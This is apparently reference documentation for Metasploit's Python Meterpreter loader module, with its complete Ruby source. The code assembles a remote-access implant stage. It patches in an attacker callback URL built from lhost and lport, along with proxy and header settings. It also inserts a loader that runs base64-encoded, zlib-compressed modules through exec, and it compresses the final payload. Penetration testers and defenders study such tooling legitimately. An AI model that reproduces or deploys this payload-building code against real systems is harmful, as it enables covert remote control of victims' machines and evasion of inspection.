Module: Msf::Payload::Python::MeterpreterLoader

Includes:
Msf::Payload::Python, TransportConfig, UUID::Options, Sessions::MeterpreterOptions
Defined in:
lib/msf/core/payload/python/meterpreter_loader.rb

Overview

Common module stub for ARCH_PYTHON payloads that make use of Meterpreter.

Constant Summary

Constants included from Sessions::MeterpreterOptions

Sessions::MeterpreterOptions::TIMEOUT_COMMS, Sessions::MeterpreterOptions::TIMEOUT_RETRY_TOTAL, Sessions::MeterpreterOptions::TIMEOUT_RETRY_WAIT, Sessions::MeterpreterOptions::TIMEOUT_SESSION

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Sessions::MeterpreterOptions

#meterpreter_logging_config, #mettle_logging_config

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from Msf::Payload::Python

create_exec_stub, #py_create_exec_stub

Instance Method Details

#initialize(info = {}) ⇒ Object 



19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 
# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 19

def initialize(info = {})
  super(update_info(info,
    'Name'          => 'Meterpreter & Configuration',
    'Description'   => 'Run Meterpreter & the configuration stub',
    'Author'        => [ 'Spencer McIntyre' ],
    'Platform'      => 'python',
    'Arch'          => ARCH_PYTHON,
    'Stager'        => {'Payload' => ""}
  ))

  register_advanced_options(
    [
      OptBool.new(
        'MeterpreterTryToFork',
        'Fork a new process if the functionality is available',
        default: true
      ),
      OptBool.new(
        'MeterpreterDebugBuild',
        'Enable debugging for the Python meterpreter',
        aliases: ['PythonMeterpreterDebug']
      )
    ] +
    Msf::Opt::http_header_options
  )
end

#python_aes_source ⇒ Object 



188
189
190
 
# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 188

def python_aes_source
  File.read(File.join(Msf::Config.data_directory, 'meterpreter', 'python', 'met_aes.py'))
end

#python_encryptor_loader ⇒ Object 



156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
 
# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 156

def python_encryptor_loader
  aes_encryptor = Rex::Text.encode_base64(Rex::Text.zlib_deflate(python_aes_source))
  rsa_encryptor = Rex::Text.encode_base64(Rex::Text.zlib_deflate(python_rsa_source))
  %Q?
import codecs,base64,zlib
try:
  from importlib.util import spec_from_loader
  def new_module(name):
      return spec_from_loader(name, loader=None)
except ImportError:
  import imp
  new_module = imp.new_module
met_aes = new_module('met_aes')
met_rsa = new_module('met_rsa')
exec(compile(zlib.decompress(base64.b64decode(codecs.getencoder('utf-8')('#{aes_encryptor}')[0])),'met_aes','exec'), met_aes.__dict__)
exec(compile(zlib.decompress(base64.b64decode(codecs.getencoder('utf-8')('#{rsa_encryptor}')[0])),'met_rsa','exec'), met_rsa.__dict__)
sys.modules['met_aes'] = met_aes
sys.modules['met_rsa'] = met_rsa
import met_rsa, met_aes
def met_rsa_encrypt(der, msg):
  return met_rsa.rsa_enc(der, msg)
def met_aes_encrypt(key, iv, pt):
  return met_aes.AESCBC(key).encrypt(iv, pt)
def met_aes_decrypt(key, iv, pt):
  return met_aes.AESCBC(key).decrypt(iv, pt)
  ?
end

#python_rsa_source ⇒ Object 



184
185
186
 
# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 184

def python_rsa_source
  File.read(File.join(Msf::Config.data_directory, 'meterpreter', 'python', 'met_rsa.py'))
end

#stage_meterpreter(opts = {}) ⇒ Object

Get the raw Python Meterpreter stage and patch in values based on the configuration

Parameters:

  • opts (Hash) (defaults to: {}) —

    The options to use for patching the stage data.

Options Hash (opts):

  • :http_proxy_host (String) —

    The host to use as a proxy for HTTP(S) transports.

  • :http_proxy_port (String) —

    The port to use when a proxy host is set for HTTP(S) transports.

  • :url (String) —

    The HTTP(S) URL to patch in to allow use of the stage as a stageless payload.

  • :http_user_agent (String) —

    The value to use for the User-Agent header for HTTP(S) transports.

  • :stageless_tcp_socket_setup (String) —

    Python code to execute to setup a tcp socket to allow use of the stage as a stageless payload.

  • :uuid (String) —

    A specific UUID to use for sessions created by this stage.



66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
 
# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 66

def stage_meterpreter(opts={})
  ds = opts[:datastore] || datastore
  met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')

  var_escape = lambda { |txt|
    txt.gsub('\\', '\\' * 8).gsub('\'', %q(\\\\\\\'))
  }

  if ds['MeterpreterDebugBuild']
    met.sub!(%q|DEBUGGING = False|, %q|DEBUGGING = True|)

    logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(ds['MeterpreterDebugLogging'])
    met.sub!(%q|DEBUGGING_LOG_FILE_PATH = None|, %Q|DEBUGGING_LOG_FILE_PATH = "#{logging_options[:rpath]}"|) if logging_options[:rpath]
  end

  unless ds['MeterpreterTryToFork']
    met.sub!('TRY_TO_FORK = True', 'TRY_TO_FORK = False')
  end

  met.sub!("# PATCH-SETUP-ENCRYPTION #", python_encryptor_loader)

  met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}")
  met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}")
  met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}")
  met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}")

  uuid = opts[:uuid] || generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python')
  uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '')
  met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'")

  if opts[:stageless] == true
    session_guid = '00' * 16
  else
    session_guid = SecureRandom.uuid.gsub(/-/, '')
  end
  met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'")

  http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent']
  http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST']
  http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT']
  http_proxy_user = opts[:http_proxy_user] || ds['HttpProxyUser']
  http_proxy_pass = opts[:http_proxy_pass] || ds['HttpProxyPass']
  http_header_host = opts[:header_host] || ds['HttpHostHeader']
  http_header_cookie = opts[:header_cookie] || ds['HttpCookie']
  http_header_referer = opts[:header_referer] || ds['HttpReferer']

  # The callback URL can be different to the one that we're receiving from the interface
  # so we need to generate it
  # TODO: move this to somewhere more common so that it can be used across payload types
  unless opts[:url].to_s == ''

    # Build the callback URL (TODO: share this logic with TransportConfig
    uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}"
    opts[:scheme] ||= opts[:url].to_s.split(':')[0]
    scheme, lhost, lport = transport_uri_components(opts)
    callback_url = "#{scheme}://#{lhost}:#{lport}#{luri}#{uri}/"

    # patch in the various payload related configuration
    met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")
    met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
    met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != ''
    met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != ''
    met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != ''

    if http_proxy_host.to_s != ''
      http_proxy_url = "http://"
      unless http_proxy_user.to_s == '' && http_proxy_pass.to_s == ''
        http_proxy_url << "#{Rex::Text.uri_encode(http_proxy_user)}:#{Rex::Text.uri_encode(http_proxy_pass)}@"
      end
      http_proxy_url << (Rex::Socket.is_ipv6?(http_proxy_host) ? "[#{http_proxy_host}]" : http_proxy_host)
      http_proxy_url << ":#{http_proxy_port}"

      met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(http_proxy_url)}'")
    end
  end

  # patch in any optional stageless tcp socket setup
  unless opts[:stageless_tcp_socket_setup].nil?
    offset_string = ""
    /(?<offset_string>\s+)# PATCH-SETUP-STAGELESS-TCP-SOCKET #/ =~ met
    socket_setup = opts[:stageless_tcp_socket_setup]
    socket_setup = socket_setup.split("\n")
    socket_setup.map! {|line| "#{offset_string}#{line}\n"}
    socket_setup = socket_setup.join
    met.sub!("#{offset_string}# PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup)
  end

  met
end

#stage_payload(opts = {}) ⇒ Object 



46
47
48
 
# File 'lib/msf/core/payload/python/meterpreter_loader.rb', line 46

def stage_payload(opts={})
  Rex::Text.encode_base64(Rex::Text.zlib_deflate(stage_meterpreter(opts)))
end